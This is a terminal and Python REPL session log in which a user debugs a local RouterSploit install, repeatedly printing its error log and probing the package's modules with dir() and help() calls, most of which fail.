2017-12-13 12:55:18,348 ERROR routersploit.exceptions Unknown command: 'version'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_version'
root@CRACK_COCAINE:~/Documents/routersploit# cat routersploit.log
2017-12-13 10:58:29,120 ERROR routersploit.exceptions Error during loading 'routersploit/modules/scanners/autopwn'
Error: 'module' object has no attribute 'optionsParser'
It should be valid path to the module. Use <tab> key multiple times for completion.
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/utils/__init__.py", line 66, in import_exploit
module = importlib.import_module(path)
File "/usr/lib/python2.7/importlib/__init__.py", line 37, in import_module
__import__(name)
File "/root/Documents/routersploit/routersploit/modules/scanners/autopwn.py", line 103, in <module>
main()
File "/root/Documents/routersploit/routersploit/modules/scanners/autopwn.py", line 92, in main
parser = optparse.optionsParser('usage %parser -r <manual control> -a full auto')
AttributeError: 'module' object has no attribute 'optionsParser'
2017-12-13 10:59:03,109 ERROR routersploit.exceptions Unknown command: 'options'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_options'
2017-12-13 10:59:45,547 ERROR routersploit.exceptions Unknown command: 'shpw'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_shpw'
2017-12-13 11:07:26,917 ERROR routersploit.exceptions Unknown command: 'jobs'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_jobs'
2017-12-13 12:43:21,542 ERROR routersploit.exceptions Unknown command: 'hrelep'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_hrelep'
2017-12-13 12:54:46,998 ERROR routersploit.exceptions Unknown command: 'shell'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_shell'
2017-12-13 12:54:51,933 ERROR routersploit.exceptions Unknown command: 'shell('')'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_shell('')'
2017-12-13 12:55:16,471 ERROR routersploit.exceptions Unknown command: '-v'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_-v'
2017-12-13 12:55:18,348 ERROR routersploit.exceptions Unknown command: 'version'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_version'
root@CRACK_COCAINE:~/Documents/routersploit# cat routersploit.log
2017-12-13 10:58:29,120 ERROR routersploit.exceptions Error during loading 'routersploit/modules/scanners/autopwn'
Error: 'module' object has no attribute 'optionsParser'
It should be valid path to the module. Use <tab> key multiple times for completion.
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/utils/__init__.py", line 66, in import_exploit
module = importlib.import_module(path)
File "/usr/lib/python2.7/importlib/__init__.py", line 37, in import_module
__import__(name)
File "/root/Documents/routersploit/routersploit/modules/scanners/autopwn.py", line 103, in <module>
main()
File "/root/Documents/routersploit/routersploit/modules/scanners/autopwn.py", line 92, in main
parser = optparse.optionsParser('usage %parser -r <manual control> -a full auto')
AttributeError: 'module' object has no attribute 'optionsParser'
2017-12-13 10:59:03,109 ERROR routersploit.exceptions Unknown command: 'options'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_options'
2017-12-13 10:59:45,547 ERROR routersploit.exceptions Unknown command: 'shpw'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_shpw'
2017-12-13 11:07:26,917 ERROR routersploit.exceptions Unknown command: 'jobs'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_jobs'
2017-12-13 12:43:21,542 ERROR routersploit.exceptions Unknown command: 'hrelep'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_hrelep'
2017-12-13 12:54:46,998 ERROR routersploit.exceptions Unknown command: 'shell'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_shell'
2017-12-13 12:54:51,933 ERROR routersploit.exceptions Unknown command: 'shell('')'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_shell('')'
2017-12-13 12:55:16,471 ERROR routersploit.exceptions Unknown command: '-v'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_-v'
2017-12-13 12:55:18,348 ERROR routersploit.exceptions Unknown command: 'version'
Traceback (most recent call last):
File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
command_handler = getattr(self, "command_{}".format(command))
AttributeError: 'RoutersploitInterpreter' object has no attribute 'command_version'
root@CRACK_COCAINE:~/Documents/routersploit# cat routersploit.log grep^C
root@CRACK_COCAINE:~/Documents/routersploit# egrep -irn command_handler * --color
routersploit/interpreter.py:66: def get_command_handler(self, command):
routersploit/interpreter.py:70: :return: command_handler
routersploit/interpreter.py:73: command_handler = getattr(self, "command_{}".format(command))
routersploit/interpreter.py:77: return command_handler
routersploit/interpreter.py:89: command_handler = self.get_command_handler(command)
routersploit/interpreter.py:90: command_handler(args)
Binary file routersploit/interpreter.pyc matches
routersploit.log:18: File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
routersploit.log:19: command_handler = getattr(self, "command_{}".format(command))
routersploit.log:23: File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
routersploit.log:24: command_handler = getattr(self, "command_{}".format(command))
routersploit.log:28: File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
routersploit.log:29: command_handler = getattr(self, "command_{}".format(command))
routersploit.log:33: File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
routersploit.log:34: command_handler = getattr(self, "command_{}".format(command))
routersploit.log:38: File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
routersploit.log:39: command_handler = getattr(self, "command_{}".format(command))
routersploit.log:43: File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
routersploit.log:44: command_handler = getattr(self, "command_{}".format(command))
routersploit.log:48: File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
routersploit.log:49: command_handler = getattr(self, "command_{}".format(command))
routersploit.log:53: File "/root/Documents/routersploit/routersploit/interpreter.py", line 73, in get_command_handler
routersploit.log:54: command_handler = getattr(self, "command_{}".format(command))
root@CRACK_COCAINE:~/Documents/routersploit# cd routersploit
root@CRACK_COCAINE:~/Documents/routersploit/routersploit# atom interpreter.py
root@CRACK_COCAINE:~/Documents/routersploit/routersploit# cd -
/root/Documents/routersploit
root@CRACK_COCAINE:~/Documents/routersploit# python
Python 2.7.14 (default, Sep 17 2017, 18:50:44)
[GCC 7.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import routersploit
>>> from routersploit import *
>>> import interpreter
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: No module named interpreter
>>> from routersploit import interpreter
>>> interpreter.get_command_handler(self, 'show payloads')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'get_command_handler'
>>> interpreter.get_command_handler(self, 'show')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'get_command_handler'
>>> interpreter.BaseInterpreter.get_command_handler(self, 'show payloads')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'self' is not defined
>>> interpreter.BaseInterpreter(self).get_command_handler(self, 'show payloads')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'self' is not defined
>>> interpreter.BaseInterpreter(object).get_command_handler(self, 'show payloads')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: __init__() takes exactly 1 argument (2 given)
>>> interpreter.BaseInterpreter(__init__).get_command_handler(self, 'show payloads')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__init__' is not defined
>>> interpreter.BaseInterpreter(object).get_command_handler(self, 'show payloads')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: __init__() takes exactly 1 argument (2 given)
>>> interpreter.BaseInterpreter(object).get_command_handler('show payloads')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: __init__() takes exactly 1 argument (2 given)
>>> interpreter.BaseInterpreter(object).get_command_handler('show payloads')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: __init__() takes exactly 1 argument (2 given)
>>> interpreter.BaseInterpreter(object).__init__
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: __init__() takes exactly 1 argument (2 given)
>>> dir(interpreter.BaseInterpreter)
['__class__', '__delattr__', '__dict__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'commands', 'complete', 'default_completer', 'get_command_handler', 'global_help', 'history_file', 'history_length', 'parse_line', 'prompt', 'raw_command_completer', 'setup', 'start', 'suggested_commands']
>>> dir(interpreter.BaseInterpreter.commands)
['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__format__', '__func__', '__get__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'im_class', 'im_func', 'im_self']
>>> dir(interpreter.BaseInterpreter.get_command_handler
... show payloads
File "<stdin>", line 2
show payloads
^
SyntaxError: invalid syntax
>>> dir(interpreter.BaseInterpreter.get_command_handler('show payloads'))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unbound method get_command_handler() must be called with BaseInterpreter instance as first argument (got str instance instead)
>>> BaseInterpreter()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'BaseInterpreter' is not defined
>>> help(BaseInterpreter)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'BaseInterpreter' is not defined
>>> BaseInterpreter(__init__)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'BaseInterpreter' is not defined
>>> import BaseInterpreter
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: No module named BaseInterpreter
>>> import BaseInterpreter~
KeyboardInterrupt
>>> dir(BaseInterpreter)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'BaseInterpreter' is not defined
>>> dir(interpreter.BaseInterpreter)
['__class__', '__delattr__', '__dict__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'commands', 'complete', 'default_completer', 'get_command_handler', 'global_help', 'history_file', 'history_length', 'parse_line', 'prompt', 'raw_command_completer', 'setup', 'start', 'suggested_commands']
>>> dir(interpreter.suggeseted_commands)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'suggeseted_commands'
>>> dir(interpreter.suggeseted_commands)
KeyboardInterrupt
>>> vars
<built-in function vars>
>>> vars()
{'exploits': <module 'routersploit.exploits' from 'routersploit/exploits.pyc'>, 'mute': <function mute at 0x7fb92ad31398>, 'utils': <module 'routersploit.utils' from 'routersploit/utils/__init__.pyc'>, 'print_status': <function print_status at 0x7fb92ad315f0>, 'print_error': <function print_error at 0x7fb92ad31578>, 'printer': <module 'routersploit.printer' from 'routersploit/printer.pyc'>, 'validators': <module 'routersploit.validators' from 'routersploit/validators.pyc'>, 'interpreter': <module 'routersploit.interpreter' from 'routersploit/interpreter.pyc'>, 'print_table': <function print_table at 0x7fb92ad31b18>, 'sanitize_url': <function sanitize_url at 0x7fb92ad31b90>, 'wordlists': <module 'routersploit.wordlists' from 'routersploit/wordlists/__init__.pyc'>, '__package__': None, 'payloads': <module 'routersploit.payloads' from 'routersploit/payloads.pyc'>, 'tokenize': <function tokenize at 0x7fb92ad31f50>, '__doc__': None, 'http_request': <function http_request at 0x7fb92ad31cf8>, 'shell': <function shell at 0x7fb92accf398>, 'ssh_interactive': <function ssh_interactive at 0x7fb92ad31de8>, '__builtins__': <module '__builtin__' (built-in)>, 'boolify': <function boolify at 0x7fb92ad31d70>, 'LockedIterator': <class 'routersploit.utils.LockedIterator'>, 'multi': <function multi at 0x7fb92ad31488>, '__name__': '__main__', 'modules': <module 'routersploit.modules' from 'routersploit/modules/__init__.pyc'>, 'routersploit': <module 'routersploit' from 'routersploit/__init__.pyc'>, 'index_modules': <function index_modules at 0x7fb92ad15c80>, 'print_success': <function print_success at 0x7fb92ad31668>, 'print_info': <function print_info at 0x7fb92ad316e0>, 'exceptions': <module 'routersploit.exceptions' from 'routersploit/exceptions.pyc'>, 'random_text': <function random_text at 0x7fb92ad31c80>}
>>> dir(interpreter.prompt)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'prompt'
>>> help(interpreter.prompt)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'prompt'
>>> prompt
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'prompt' is not defined
>>> dir()
['LockedIterator', '__builtins__', '__doc__', '__name__', '__package__', 'boolify', 'exceptions', 'exploits', 'http_request', 'index_modules', 'interpreter', 'modules', 'multi', 'mute', 'payloads', 'print_error', 'print_info', 'print_status', 'print_success', 'print_table', 'printer', 'random_text', 'routersploit', 'sanitize_url', 'shell', 'ssh_interactive', 'tokenize', 'utils', 'validators', 'wordlists']
>>> dir(multi)
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
>>> dir(_call_)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '_call_' is not defined
>>> dir(_globals_)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '_globals_' is not defined
>>> globals
<built-in function globals>
>>> globals()
{'exploits': <module 'routersploit.exploits' from 'routersploit/exploits.pyc'>, 'mute': <function mute at 0x7fb92ad31398>, 'utils': <module 'routersploit.utils' from 'routersploit/utils/__init__.pyc'>, 'print_status': <function print_status at 0x7fb92ad315f0>, 'print_error': <function print_error at 0x7fb92ad31578>, 'printer': <module 'routersploit.printer' from 'routersploit/printer.pyc'>, 'validators': <module 'routersploit.validators' from 'routersploit/validators.pyc'>, 'interpreter': <module 'routersploit.interpreter' from 'routersploit/interpreter.pyc'>, 'print_table': <function print_table at 0x7fb92ad31b18>, 'sanitize_url': <function sanitize_url at 0x7fb92ad31b90>, 'wordlists': <module 'routersploit.wordlists' from 'routersploit/wordlists/__init__.pyc'>, '__package__': None, 'payloads': <module 'routersploit.payloads' from 'routersploit/payloads.pyc'>, 'tokenize': <function tokenize at 0x7fb92ad31f50>, '__doc__': None, 'http_request': <function http_request at 0x7fb92ad31cf8>, 'shell': <function shell at 0x7fb92accf398>, 'ssh_interactive': <function ssh_interactive at 0x7fb92ad31de8>, '__builtins__': <module '__builtin__' (built-in)>, 'boolify': <function boolify at 0x7fb92ad31d70>, 'LockedIterator': <class 'routersploit.utils.LockedIterator'>, 'multi': <function multi at 0x7fb92ad31488>, '__name__': '__main__', 'modules': <module 'routersploit.modules' from 'routersploit/modules/__init__.pyc'>, 'routersploit': <module 'routersploit' from 'routersploit/__init__.pyc'>, 'index_modules': <function index_modules at 0x7fb92ad15c80>, 'print_success': <function print_success at 0x7fb92ad31668>, 'print_info': <function print_info at 0x7fb92ad316e0>, 'exceptions': <module 'routersploit.exceptions' from 'routersploit/exceptions.pyc'>, 'random_text': <function random_text at 0x7fb92ad31c80>}
>>> exec
File "<stdin>", line 1
exec
^
SyntaxError: invalid syntax
>>> dir()
['LockedIterator', '__builtins__', '__doc__', '__name__', '__package__', 'boolify', 'exceptions', 'exploits', 'http_request', 'index_modules', 'interpreter', 'modules', 'multi', 'mute', 'payloads', 'print_error', 'print_info', 'print_status', 'print_success', 'print_table', 'printer', 'random_text', 'routersploit', 'sanitize_url', 'shell', 'ssh_interactive', 'tokenize', 'utils', 'validators', 'wordlists']
>>> dir(interpreter)
['BaseInterpreter', 'BasePayload', 'Counter', 'Exploit', 'GLOBAL_OPTS', 'PrinterThread', 'RoutersploitException', 'RoutersploitInterpreter', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'atexit', 'itertools', 'os', 'print_function', 'printer_queue', 'readline', 'sys', 'traceback', 'utils']
>>> dir(itertools)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'itertools' is not defined
>>> dir(readline)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'readline' is not defined
>>> dir(sys)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'sys' is not defined
>>> dir(utils)
['ABCMeta', 'CREDS_DIR', 'DummyFile', 'EXPLOITS_DIR', 'LockedIterator', 'MODULES_DIR', 'NonStringIterable', 'PrintResource', 'Resource', 'RoutersploitException', 'SCANNERS_DIR', '__builtins__', '__cprint', '__doc__', '__file__', '__name__', '__package__', '__path__', 'absolute_import', 'abstractmethod', 'boolify', 'collections', 'colors', 'create_exploit', 'create_resource', 'errno', 'http_request', 'humanize_path', 'import_exploit', 'importlib', 'index_modules', 'iter_modules', 'mkdir_p', 'module_required', 'multi', 'mute', 'os', 'posix_shell', 'pprint_dict_in_order', 'print_error', 'print_function', 'print_info', 'print_lock', 'print_status', 'print_success', 'print_table', 'printer_queue', 'pythonize_path', 'random', 'random_text', 're', 'requests', 'rsf_modules', 'sanitize_url', 'select', 'socket', 'ssh_interactive', 'stop_after', 'string', 'strtobool', 'sys', 'thread_output_stream', 'threading', 'tokenize', 'windows_shell', 'wraps']
>>> dir(import_exploit)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'import_exploit' is not defined
>>> dir(ssh_interactive)
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
>>> dir(__dict__)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__dict__' is not defined
>>> help(__dict__)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__dict__' is not defined
>>> help(ssh_interactive.__dict__)
>>> dir()
['LockedIterator', '__builtins__', '__doc__', '__name__', '__package__', 'boolify', 'exceptions', 'exploits', 'http_request', 'index_modules', 'interpreter', 'modules', 'multi', 'mute', 'payloads', 'print_error', 'print_info', 'print_status', 'print_success', 'print_table', 'printer', 'random_text', 'routersploit', 'sanitize_url', 'shell', 'ssh_interactive', 'tokenize', 'utils', 'validators', 'wordlists']
>>> dir(utils)
['ABCMeta', 'CREDS_DIR', 'DummyFile', 'EXPLOITS_DIR', 'LockedIterator', 'MODULES_DIR', 'NonStringIterable', 'PrintResource', 'Resource', 'RoutersploitException', 'SCANNERS_DIR', '__builtins__', '__cprint', '__doc__', '__file__', '__name__', '__package__', '__path__', 'absolute_import', 'abstractmethod', 'boolify', 'collections', 'colors', 'create_exploit', 'create_resource', 'errno', 'http_request', 'humanize_path', 'import_exploit', 'importlib', 'index_modules', 'iter_modules', 'mkdir_p', 'module_required', 'multi', 'mute', 'os', 'posix_shell', 'pprint_dict_in_order', 'print_error', 'print_function', 'print_info', 'print_lock', 'print_status', 'print_success', 'print_table', 'printer_queue', 'pythonize_path', 'random', 'random_text', 're', 'requests', 'rsf_modules', 'sanitize_url', 'select', 'socket', 'ssh_interactive', 'stop_after', 'string', 'strtobool', 'sys', 'thread_output_stream', 'threading', 'tokenize', 'windows_shell', 'wraps']
>>> import absolute_import
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: No module named absolute_import
>>> from routersploit import absolute_import
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: cannot import name absolute_import
>>> dir()
['LockedIterator', '__builtins__', '__doc__', '__name__', '__package__', 'boolify', 'exceptions', 'exploits', 'http_request', 'index_modules', 'interpreter', 'modules', 'multi', 'mute', 'payloads', 'print_error', 'print_info', 'print_status', 'print_success', 'print_table', 'printer', 'random_text', 'routersploit', 'sanitize_url', 'shell', 'ssh_interactive', 'tokenize', 'utils', 'validators', 'wordlists']
>>> dir(interpreter)
['BaseInterpreter', 'BasePayload', 'Counter', 'Exploit', 'GLOBAL_OPTS', 'PrinterThread', 'RoutersploitException', 'RoutersploitInterpreter', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'atexit', 'itertools', 'os', 'print_function', 'printer_queue', 'readline', 'sys', 'traceback', 'utils']
>>> dir(interpreter.command_run)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'command_run'
>>> dir(interpreter.command_run())
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'command_run'
>>> dir(interpreter.command_run('show'))
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'command_run'
>>> dir()
['LockedIterator', '__builtins__', '__doc__', '__name__', '__package__', 'boolify', 'exceptions', 'exploits', 'http_request', 'index_modules', 'interpreter', 'modules', 'multi', 'mute', 'payloads', 'print_error', 'print_info', 'print_status', 'print_success', 'print_table', 'printer', 'random_text', 'routersploit', 'sanitize_url', 'shell', 'ssh_interactive', 'tokenize', 'utils', 'validators', 'wordlists']
>>> dir(modules)
['__author__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '__path__']
>>> dir(index_modules)
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
>>> dir(utils)
['ABCMeta', 'CREDS_DIR', 'DummyFile', 'EXPLOITS_DIR', 'LockedIterator', 'MODULES_DIR', 'NonStringIterable', 'PrintResource', 'Resource', 'RoutersploitException', 'SCANNERS_DIR', '__builtins__', '__cprint', '__doc__', '__file__', '__name__', '__package__', '__path__', 'absolute_import', 'abstractmethod', 'boolify', 'collections', 'colors', 'create_exploit', 'create_resource', 'errno', 'http_request', 'humanize_path', 'import_exploit', 'importlib', 'index_modules', 'iter_modules', 'mkdir_p', 'module_required', 'multi', 'mute', 'os', 'posix_shell', 'pprint_dict_in_order', 'print_error', 'print_function', 'print_info', 'print_lock', 'print_status', 'print_success', 'print_table', 'printer_queue', 'pythonize_path', 'random', 'random_text', 're', 'requests', 'rsf_modules', 'sanitize_url', 'select', 'socket', 'ssh_interactive', 'stop_after', 'string', 'strtobool', 'sys', 'thread_output_stream', 'threading', 'tokenize', 'windows_shell', 'wraps']
>>> dir(pythonize)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'pythonize' is not defined
>>> dir(pythonize_path)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'pythonize_path' is not defined
>>> help(pythonize_path)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'pythonize_path' is not defined
>>> dir(pythonize_path)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'pythonize_path' is not defined
>>> posix_shell()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'posix_shell' is not defined
>>> help(posix_shell)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'posix_shell' is not defined
>>> help(import_exploit)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'import_exploit' is not defined
>>> help(__dict__)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name '__dict__' is not defined
>>> dir()
['LockedIterator', '__builtins__', '__doc__', '__name__', '__package__', 'boolify', 'exceptions', 'exploits', 'http_request', 'index_modules', 'interpreter', 'modules', 'multi', 'mute', 'payloads', 'print_error', 'print_info', 'print_status', 'print_success', 'print_table', 'printer', 'random_text', 'routersploit', 'sanitize_url', 'shell', 'ssh_interactive', 'tokenize', 'utils', 'validators', 'wordlists']
>>> dir(modules)
['__author__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '__path__']
>>> dir(random_text)
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
>>> dir(utils)
['ABCMeta', 'CREDS_DIR', 'DummyFile', 'EXPLOITS_DIR', 'LockedIterator', 'MODULES_DIR', 'NonStringIterable', 'PrintResource', 'Resource', 'RoutersploitException', 'SCANNERS_DIR', '__builtins__', '__cprint', '__doc__', '__file__', '__name__', '__package__', '__path__', 'absolute_import', 'abstractmethod', 'boolify', 'collections', 'colors', 'create_exploit', 'create_resource', 'errno', 'http_request', 'humanize_path', 'import_exploit', 'importlib', 'index_modules', 'iter_modules', 'mkdir_p', 'module_required', 'multi', 'mute', 'os', 'posix_shell', 'pprint_dict_in_order', 'print_error', 'print_function', 'print_info', 'print_lock', 'print_status', 'print_success', 'print_table', 'printer_queue', 'pythonize_path', 'random', 'random_text', 're', 'requests', 'rsf_modules', 'sanitize_url', 'select', 'socket', 'ssh_interactive', 'stop_after', 'string', 'strtobool', 'sys', 'thread_output_stream', 'threading', 'tokenize', 'windows_shell', 'wraps']
>>> dir(create_exploit)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'create_exploit' is not defined
>>> help(create_exploit)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'create_exploit' is not defined
>>> help(humanize_path)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'humanize_path' is not defined
>>> dir(humanize_path)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'humanize_path' is not defined
>>> routersploit.utils.__init__
<method-wrapper '__init__' of module object at 0x7fb92ecd26a8>
>>> dir(routersploit.utils)
['ABCMeta', 'CREDS_DIR', 'DummyFile', 'EXPLOITS_DIR', 'LockedIterator', 'MODULES_DIR', 'NonStringIterable', 'PrintResource', 'Resource', 'RoutersploitException', 'SCANNERS_DIR', '__builtins__', '__cprint', '__doc__', '__file__', '__name__', '__package__', '__path__', 'absolute_import', 'abstractmethod', 'boolify', 'collections', 'colors', 'create_exploit', 'create_resource', 'errno', 'http_request', 'humanize_path', 'import_exploit', 'importlib', 'index_modules', 'iter_modules', 'mkdir_p', 'module_required', 'multi', 'mute', 'os', 'posix_shell', 'pprint_dict_in_order', 'print_error', 'print_function', 'print_info', 'print_lock', 'print_status', 'print_success', 'print_table', 'printer_queue', 'pythonize_path', 'random', 'random_text', 're', 'requests', 'rsf_modules', 'sanitize_url', 'select', 'socket', 'ssh_interactive', 'stop_after', 'string', 'strtobool', 'sys', 'thread_output_stream', 'threading', 'tokenize', 'windows_shell', 'wraps']
>>> help(string)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'string' is not defined
>>> vars()
